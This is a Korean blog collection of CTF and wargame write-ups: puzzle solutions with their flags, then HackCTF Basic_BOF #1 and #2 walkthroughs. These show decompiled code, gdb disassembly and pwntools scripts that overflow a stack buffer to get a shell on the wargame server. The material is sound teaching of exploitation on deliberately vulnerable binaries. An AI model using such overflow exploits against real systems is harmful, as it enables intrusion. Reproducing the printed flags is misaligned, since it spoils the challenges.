[풀이]

문제의 wav파일을 들어보면 빠르게 어떠한 말을 읽고 있는데, 속도를 늦춰도 pass를 구할 수 없었다.

이에 goldwave라는 tool을 설치하여 속도를 늦추고 파일을 뒤집어 소리를 출력해보면 flag를 음성으로 출력해준다.

→ 원본

→ 변조


flag

🍒 3b27641fc5h0

[문제]

We suspect that this tweet hides a rendezvous point. Help us to find it.

Choose  a  jοb  yоu 
lονe,  and  you  wіll  never  have 
tο 
work  a  day  in  yοur
 lіfe.      
                 

The validation password is the meeting place (in lower case).


[풀이]

문제를 확인하면 알파벳의 크기가 다르다는 것을 알 수 있다.

문자 크기가 큰 알파벳이 pass라고 생각을 했으나 구글에 twitter secret messages 를 검색해보면

twitter에서 메시지를 숨기기 위해 사용되는 암호화 기법임을 알 수 있다.

https://holloway.nz/steg/에서 twitter secret messages를 해독할 수 있다.

여기서 유의해야 할 점은 문제에 있는 공백까지 모두 decoding site에 입력해야 올바른 hidden message 를 구할 수 있다.


flag

🍒 grand central terminal

[문제]

After extraction of mobile data, the searcher, investigator have get this sequence of numbers. Maybe a phone number ?


[풀이]

문제 파일에 숫자들이 쓰여 있는데 이것을 2G 핸드폰에 있는 키패드를 통해 알파벳으로 변환할 수 있다.

번호의 반복횟수만큼 입력해보면 PASS에 cellphone이 입력되어야 하는 것을 알 수 있다.


flag

🍒 cellphone

[문제]

“Rien de trop est un point dont on parle sans cesse et qu’on n’observe point.”

Jean de La Fontaine


[풀이]

문제의 이름처럼 pass는 . 이 있는 곳과 관련이 있다.

.을 기준으로 바로 윗 줄에 위치하는 문자를 하나씩 살펴보면 pass 를 구할 수 있다.


flag

🍒 chatelet15h

 

[문제]


[풀이]

문제의 JPG파일만 열어서는 PASS를 확인할 수 없다. 파일의 hexdump나 hexedit을 통해 ascii 값을 확인하면 pass를 구할 수 있다.


flag

🍒 HAHAHA

[풀이]

잘안보이기는 하지만 문제 파일을 확대해서 살펴보면 pass = TOTORO를 확인할 수 있다.


flag

🍒 TOTORO

작년 스터디때부터 열심히 풀고 있었는데 사라져서 너무 아쉬운 HackCTF..!

맨땅에 헤딩하면서 포너블 공부 시작했던 워게임인데 아쉽네요:(

이거로 공부 시작해서 풀이는 많이 없습니다만 노션에 정리해뒀던거라도 올려두겠습니다..ㅎ

언젠가 다시 열렸으면 좋겠어요!

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Basic_Bof #1  (0) 2022.10.30
[HackCTF] Basic_BOF #2  (0) 2022.10.30
[HackCTF] Basic_FSB  (0) 2022.10.30
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30

[문제]


[풀이]

  • 2bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]@1
  int v5; // [esp+2Ch] [ebp-Ch]@1

  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\\n[buf]: %s\\n", &s);
  printf("[check] %p\\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}
  • v5에 0x4030201의 값이 할당되어 있으나 이를 0xdeadbeef로 바꿔야 shell 획득 가능

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cb <+0>:	lea    ecx,[esp+0x4]
   0x080484cf <+4>:	and    esp,0xfffffff0
   0x080484d2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d5 <+10>:	push   ebp
   0x080484d6 <+11>:	mov    ebp,esp
   0x080484d8 <+13>:	push   ecx
   0x080484d9 <+14>:	sub    esp,0x34
   0x080484dc <+17>:	mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:	mov    eax,ds:0x804a040
   0x080484e8 <+29>:	sub    esp,0x4
   0x080484eb <+32>:	push   eax
   0x080484ec <+33>:	push   0x2d
   0x080484ee <+35>:	lea    eax,[ebp-0x34]
   0x080484f1 <+38>:	push   eax
   0x080484f2 <+39>:	call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:	add    esp,0x10
   0x080484fa <+47>:	sub    esp,0x8
   0x080484fd <+50>:	lea    eax,[ebp-0x34]
   0x08048500 <+53>:	push   eax
   0x08048501 <+54>:	push   0x8048610
   0x08048506 <+59>:	call   0x8048370 <printf@plt>
   0x0804850b <+64>:	add    esp,0x10
   0x0804850e <+67>:	sub    esp,0x8
   0x08048511 <+70>:	push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:	push   0x804861c
   0x08048519 <+78>:	call   0x8048370 <printf@plt>
   0x0804851e <+83>:	add    esp,0x10
   0x08048521 <+86>:	cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:	je     0x8048543 <main+120>
   0x0804852a <+95>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:	je     0x8048543 <main+120>
   0x08048533 <+104>:	sub    esp,0xc
   0x08048536 <+107>:	push   0x8048628
   0x0804853b <+112>:	call   0x8048390 <puts@plt>
   0x08048540 <+117>:	add    esp,0x10
   0x08048543 <+120>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:	jne    0x804857c <main+177>
   0x0804854c <+129>:	sub    esp,0xc
   0x0804854f <+132>:	push   0x8048644
   0x08048554 <+137>:	call   0x8048390 <puts@plt>
   0x08048559 <+142>:	add    esp,0x10
   0x0804855c <+145>:	sub    esp,0xc
   0x0804855f <+148>:	push   0x804866e
   0x08048564 <+153>:	call   0x80483a0 <system@plt>
   0x08048569 <+158>:	add    esp,0x10
   0x0804856c <+161>:	sub    esp,0xc
   0x0804856f <+164>:	push   0x8048678
   0x08048574 <+169>:	call   0x8048390 <puts@plt>
   0x08048579 <+174>:	add    esp,0x10
   0x0804857c <+177>:	mov    eax,0x0
   0x08048581 <+182>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048584 <+185>:	leave  
   0x08048585 <+186>:	lea    esp,[ecx-0x4]
   0x08048588 <+189>:	ret    
End of assembler dump.
  • main+44에 bp 걸어 임의의 입력값 할당

 

  • 0xffffd184에 입력 값 저장됨

 

문제 해결

💡dummy(40) + 0xdeadbeef

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3000)

payload = "a"*40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

 

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3000)

payload = b"a"*40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

 


flag

🍒 HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 올리기 전에  (0) 2022.10.30
[HackCTF] Basic_BOF #2  (0) 2022.10.30
[HackCTF] Basic_FSB  (0) 2022.10.30
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30

[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받음
  • 입력 값 길이에 대한 변화 없음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]@1
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]@1

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}
  • fgets 함수를 통해 사용자로부터 133byte만큼 입력 받음
  • 입력 값에 대한 제약 없어 BOF 발생
  • 이후 sup 함수 호출

 

IDA 분석 - sup 함수

int sup()
{
  return puts("하아아아아아아아아앙");
}
  • 단순히 문자열 출력

 

IDA 분석 - shell 함수

int shell()
{
  return system("/bin/dash");
}
  • /bin/dash shell 실행
  • shell 함수 주소를 덮어쓰면 exploit 할 수 있을 것으로 보임

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048310  _init
0x08048350  fgets@plt
0x08048360  puts@plt
0x08048370  system@plt
0x08048380  __libc_start_main@plt
0x08048390  __gmon_start__@plt
0x080483a0  _start
0x080483d0  __x86.get_pc_thunk.bx
0x080483e0  deregister_tm_clones
0x08048410  register_tm_clones
0x08048450  __do_global_dtors_aux
0x08048470  frame_dummy
0x0804849b  shell
0x080484b4  sup
0x080484cd  main
0x08048520  __libc_csu_init
0x08048580  __libc_csu_fini
0x08048584  _fini
  • main 주소: 0x80484cd
  • sup 주소: 0x80484b4
  • shell 주소: 0x804849b

 

gdb 분석 - 함수 주소

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cd <+0>:	lea    ecx,[esp+0x4]
   0x080484d1 <+4>:	and    esp,0xfffffff0
   0x080484d4 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d7 <+10>:	push   ebp
   0x080484d8 <+11>:	mov    ebp,esp
   0x080484da <+13>:	push   ecx
   0x080484db <+14>:	sub    esp,0x94
   0x080484e1 <+20>:	mov    DWORD PTR [ebp-0xc],0x80484b4
   0x080484e8 <+27>:	mov    eax,ds:0x804a040
   0x080484ed <+32>:	sub    esp,0x4
   0x080484f0 <+35>:	push   eax
   0x080484f1 <+36>:	push   0x85
   0x080484f6 <+41>:	lea    eax,[ebp-0x8c]
   0x080484fc <+47>:	push   eax
   0x080484fd <+48>:	call   0x8048350 <fgets@plt>
   0x08048502 <+53>:	add    esp,0x10
   0x08048505 <+56>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048508 <+59>:	call   eax
   0x0804850a <+61>:	mov    eax,0x0
   0x0804850f <+66>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048512 <+69>:	leave  
   0x08048513 <+70>:	lea    esp,[ecx-0x4]
   0x08048516 <+73>:	ret    
End of assembler dump.
  • main+53에 bp 걸어 임의의 입력 값 입력

 

  • 0xffffcfbc에 입력 값 저장

  • 0xffffd03c에서 sup 함수 발견 → 해당 주소를 shell 함수 주소로 덮어씌우면 exploit 할 수 있을 것!
  • 입력값~sup 함수가 저장된 0xffffd03c까지의 offset = 40

 

문제 해결

💡dummy(128) + 0x804849b

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3001)
e=ELF('./bof_basic2')

payload = "a"*128 + p32(e.symbols["shell"])
#payload = "a"*128 + p32(0x804849b)

p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3001)
e=ELF('./bof_basic2')

payload = b"a"*128 + p32(e.symbols["shell"])
#payload = "a"*128 + p32(0x804849b)

p.sendline(payload)
p.interactive()

 


flag

🍒 HackCTF{h3y_dud3_600d_f0r_y0u}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 올리기 전에  (0) 2022.10.30
[HackCTF] Basic_Bof #1  (0) 2022.10.30
[HackCTF] Basic_FSB  (0) 2022.10.30
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30

+ Recent posts